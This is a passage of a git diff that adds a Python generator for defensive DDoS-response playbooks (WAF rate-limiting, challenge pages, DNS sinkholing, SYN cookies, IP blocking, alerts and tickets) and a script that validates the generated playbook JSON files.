service_env="PD_NETWORK_KEY"),+ ticket("t1", "Open DDoS ticket",+ "P1", "L3/L4 DDoS: {{alert.target}}"),+ ],+ ),+ make_playbook(+ pid="ddos-app-layer-l7-v1",+ name="DDoS: Application Layer L7",+ description=(+ "Triggered by anomalous L7 request rate or pattern. Engages "+ "WAF rate-limit rule and challenge-page."+ ),+ category=cat, severity=["high", "critical"],+ tags=["ddos", "waf", "mitre.t1498.001"],+ steps=[+ http("waf-rl", "Apply WAF rate-limit",+ url="${WAF_URL}/rate-limit",+ method="POST",+ body_template=('{"target":"{{alert.target}}",'+ '"rps":{{alert.threshold_rps}}}')),+ http("challenge", "Enable challenge page",+ url="${WAF_URL}/challenge/enable",+ method="POST",+ body_template='{"target":"{{alert.target}}"}'),+ investigate("inv", "Investigate L7 signature",+ focus="forensics"),+ notify("n1", "Notify SOC + platform", "slack",+ message="L7 DDoS on {{alert.target}}. WAF rate-limit + challenge on.",+ webhook_env="SLACK_SOC_WEBHOOK"),+ ticket("t1", "Open L7 DDoS ticket",+ "P2", "L7 DDoS: {{alert.target}}"),+ ],+ ),+ make_playbook(+ pid="ddos-amplification-dns-v1",+ name="DDoS: DNS Amplification",+ description=(+ "Triggered when an inbound spike of crafted DNS queries hits "+ "an authoritative server. Sinkholes spoofed sources."+ ),+ category=cat, severity=["high"],+ tags=["ddos", "dns", "mitre.t1498.002"],+ steps=[+ http("sinkhole", "Sinkhole spoofed sources",+ url="${DNS_URL}/sinkhole-batch",+ method="POST",+ body_template='{"src_ips": {{alert.spoofed_sources}}}'),+ investigate("inv", "Investigate amplification",+ focus="forensics"),+ notify("n1", "Notify network team", "slack",+ message="DNS amplification mitigated. "+ "{{context.sinkholed_count}} sources sinkholed.",+ webhook_env="SLACK_NETWORK_WEBHOOK"),+ ticket("t1", "Open DNS-amp ticket",+ "P2", "DNS amplification: {{alert.target}}"),+ ],+ ),+ make_playbook(+ pid="ddos-syn-flood-v1",+ name="DDoS: SYN Flood",+ description=(+ "Triggered by SYN flood pattern at edge. Enables SYN cookies "+ "and increases backend capacity."+ ),+ category=cat, severity=["high", "critical"],+ tags=["ddos", "network", "mitre.t1498"],+ steps=[+ http("syn-cookies", "Enable SYN cookies at edge",+ url="${EDGE_URL}/syn-cookies/enable",+ method="POST"),+ http("scale", "Scale backend capacity",+ url="${PLATFORM_URL}/scale",+ method="POST",+ body_template=('{"target":"{{alert.target}}",'+ '"replicas":"+50%"}')),+ investigate("inv", "Investigate flood",+ focus="forensics"),+ notify("n1", "Notify network on-call", "pagerduty",+ message="SYN flood on {{alert.target}}. SYN cookies + scale-out.",+ service_env="PD_NETWORK_KEY"),+ ticket("t1", "Open SYN-flood ticket",+ "P1", "SYN flood: {{alert.target}}"),+ ],+ ),+ make_playbook(+ pid="ddos-credential-stuffing-fraud-v1",+ name="DDoS: Auth-Endpoint Credential Stuffing",+ description=(+ "Triggered when /login takes a sustained spike of failed attempts. "+ "Combines DDoS + credential-stuffing response: WAF challenge, "+ "rate-limit, source-IP block."+ ),+ category=cat, severity=["high"],+ tags=["ddos", "ato", "mitre.t1110.004"],+ steps=[+ http("challenge", "Enable WAF challenge on /login",+ url="${WAF_URL}/challenge/enable",+ method="POST",+ body_template='{"path":"/login"}'),+ http("rate-limit", "Apply per-IP rate-limit",+ url="${WAF_URL}/rate-limit",+ method="POST",+ body_template=('{"path":"/login","per":"ip","rps":5}')),+ block_ip("b1", "Block top abusers", "alert.top_abuser_ip", "24h"),+ investigate("inv", "Investigate cred-stuffing campaign",+ focus="identity"),+ notify("n1", "Notify SOC", "slack",+ message="Auth-endpoint credential stuffing on /login mitigated.",+ webhook_env="SLACK_SOC_WEBHOOK"),+ ticket("t1", "Open auth-DDoS ticket",+ "P2", "Auth DDoS: {{alert.target}}"),+ ],+ ),+ ]+++# ---------------------------------------------------------------------------+# Main+# ---------------------------------------------------------------------------+++def main() -> int:+ builders = [+ ("account-takeover", build_account_takeover),+ ("ransomware", build_ransomware),+ ("bec", build_bec),+ ("insider-risk", build_insider_risk),+ ("cloud-misconfig", build_cloud_misconfig),+ ("data-exfil", build_data_exfil),+ ("lateral-movement", build_lateral_movement),+ ("supply-chain", build_supply_chain),+ ("ddos", build_ddos),+ ]++ expected = {+ "account-takeover": 5, "ransomware": 5, "bec": 5,+ "insider-risk": 5, "cloud-misconfig": 10, "data-exfil": 5,+ "lateral-movement": 5, "supply-chain": 5, "ddos": 5,+ }++ if PACK_ROOT.exists():+ shutil.rmtree(PACK_ROOT)+ PACK_ROOT.mkdir(parents=True, exist_ok=True)++ total = 0+ counts: dict[str, int] = {}+ seen_ids: set[str] = set()++ for cat, fn in builders:+ cat_dir = PACK_ROOT / CATEGORY_DIRS[cat]+ cat_dir.mkdir(parents=True, exist_ok=True)+ playbooks = fn()++ if len(playbooks) != expected[cat]:+ raise SystemExit(+ f"category {cat}: expected {expected[cat]} playbooks, "+ f"got {len(playbooks)}"+ )++ for pb in playbooks:+ if pb["id"] in seen_ids:+ raise SystemExit(f"duplicate playbook id: {pb['id']}")+ seen_ids.add(pb["id"])++ # Slug-based filename: pb id minus -v1 suffix+ slug = pb["id"].removesuffix("-v1")+ fp = cat_dir / f"{slug}.playbook.json"+ fp.write_text(json.dumps(pb, indent=2) + "\n")++ counts[cat] = len(playbooks)+ total += len(playbooks)++ print(f"Generated {total} playbooks across {len(counts)} categories:")+ for cat, count in counts.items():+ print(f" {cat:20s} {count:3d}")+ if total != 50:+ raise SystemExit(f"total mismatch: expected 50, got {total}")+ return 0+++if __name__ == "__main__":+ raise SystemExit(main())diff --git a/scripts/validate_playbooks.py b/scripts/validate_playbooks.pynew file mode 100755index 000000000..a431e3988--- /dev/null+++ b/scripts/validate_playbooks.py@@ -0,0 +1,149 @@+#!/usr/bin/env python3+"""+Validate every *.playbook.json under playbooks/packs/v1/ (and any user-supplied+directories passed on argv).++Validation layers:++1. JSON parse.+2. Pydantic schema validation against services/agents/app/playbook/models.py+ so a JSON file rejected here is also rejected by the runtime.+3. Cross-file uniqueness of playbook IDs.+4. Per-playbook step-graph integrity:+ - step IDs are unique within a playbook+ - condition.next_true / next_false (when set) point at real step IDs+ - condition steps that are *not* the last step have at least one branch set+5. Step-type / on_failure consistency:+ - condition steps must declare a `condition` block+ - non-condition steps with `next_true` / `next_false` are flagged+6. Trigger sanity: trigger.on must be one of the supported event kinds.++Exits non-zero on any failure with a human-readable summary.++Usage:+ python scripts/validate_playbooks.py+ python scripts/validate_playbooks.py path/to/extra/dir+"""+from __future__ import annotations++import json+import sys+from collections.abc import Iterable+from pathlib import Path++ROOT = Path(__file__).resolve().parent.parent+DEFAULT_PACK = ROOT / "playbooks" / "packs" / "v1"++# Make the services/agents Pydantic models importable.+sys.path.insert(0, str(ROOT / "services" / "agents"))++try:+ from app.playbook.models import Playbook, StepType # type: ignore[import-not-found]+except Exception as exc: # pragma: no cover - import errors visible to user+ print(f"FATAL: cannot import Playbook model: {exc}", file=sys.stderr)+ sys.exit(2)+++SUPPORTED_TRIGGERS = {"alert", "case", "manual", "schedule"}+++def _iter_playbook_files(roots: Iterable[Path]) -> list[Path]:+ files: list[Path] = []+ for root in roots:+ if not root.exists():+ continue+ files.extend(sorted(root.rglob("*.playbook.json")))+ return files+++def _validate_one(fp: Path) -> tuple[Playbook | None, list[str]]:+ """Return (playbook, errors). playbook is None if parse/schema failed."""+ errors: list[str] = []+ try:+ data = json.loads(fp.read_text())+ except json.JSONDecodeError as exc:+ return None, [f"JSON parse: {exc}"]++ try:+ pb = Playbook.model_validate(data)+ except Exception as exc:+ return None, [f"schema: {exc}"]++ # Step-graph and step-type rules+ step_ids = [s.id for s in pb.steps]+ if len(step_ids) != len(set(step_ids)):+ dups = sorted({sid for sid in step_ids if step_ids.count(sid) > 1})+ errors.append(f"duplicate step ids: {dups}")++ valid_step_ids = set(step_ids)+ for s in pb.steps:+ if s.next_true and s.next_true not in valid_step_ids:+ errors.append(f"step '{s.id}': next_true -> unknown '{s.next_true}'")+ if s.next_false and s.next_false not in valid_step_ids:+ errors.append(f"step '{s.id}': next_false -> unknown '{s.next_false}'")+ if s.type == StepType.CONDITION:+ if s.condition is None:+ errors.append(f"step '{s.id}': condition step missing `condition` block")+ # Allow trailing condition with no branches (acts as filter / gate).+ else:+ if s.next_true or s.next_false:+ errors.append(+ f"step '{s.id}': non-condition step has next_true/next_false"+ )++ # Trigger sanity+ on = pb.trigger.get("on") if isinstance(pb.trigger, dict) else None+ if on not in SUPPORTED_TRIGGERS:+ errors.append(f"trigger.on={on!r} not in {sorted(SUPPORTED_TRIGGERS)}")++ return pb, errors+++def main() -> int:+ extra_roots = [Path(a) for a in sys.argv[1:]]+ roots = [DEFAULT_PACK, *extra_roots]+ files = _iter_playbook_files(roots)++ if not files:+ print("No playbook files found under:", *roots, sep="\n ")+ return 1++ all_errors: list[str] = []+ seen_ids: dict[str, Path] = {}+ by_cat: dict[str, int] = {}++ for fp in files:+ rel = fp.relative_to(ROOT)+ pb, errors = _validate_one(fp)+ if errors:+ for e in errors:+ all_errors.append(f"{rel}: {e}")+ if pb is None:+ continue+ if pb.id in seen_ids:+ all_errors.append(+ f"{rel}: duplicate playbook id '{pb.id}' "+ f"(also in {seen_ids[pb.id].relative_to(ROOT)})"+ )+ else:+ seen_ids[pb.id] = fp+ # Category is the parent dir name relative to packs/v1.+ cat = fp.parent.name+ by_cat[cat] = by_cat.get(cat, 0) + 1++ print(f"Validated {len(files)} playbook files across {len(by_cat)} categories.")+ for cat in sorted(by_cat):+ print(f" {cat:20s} {by_cat[cat]:3d}")++ if all_errors:+ print(f"\n{len(all_errors)} ERROR(S):", file=sys.stderr)+ for e in all_errors:+ print(f" {e}", file=sys.stderr)+ return 1++ print("\nOK")+ return 0+++if __name__ == "__main__":+ raise SystemExit(main())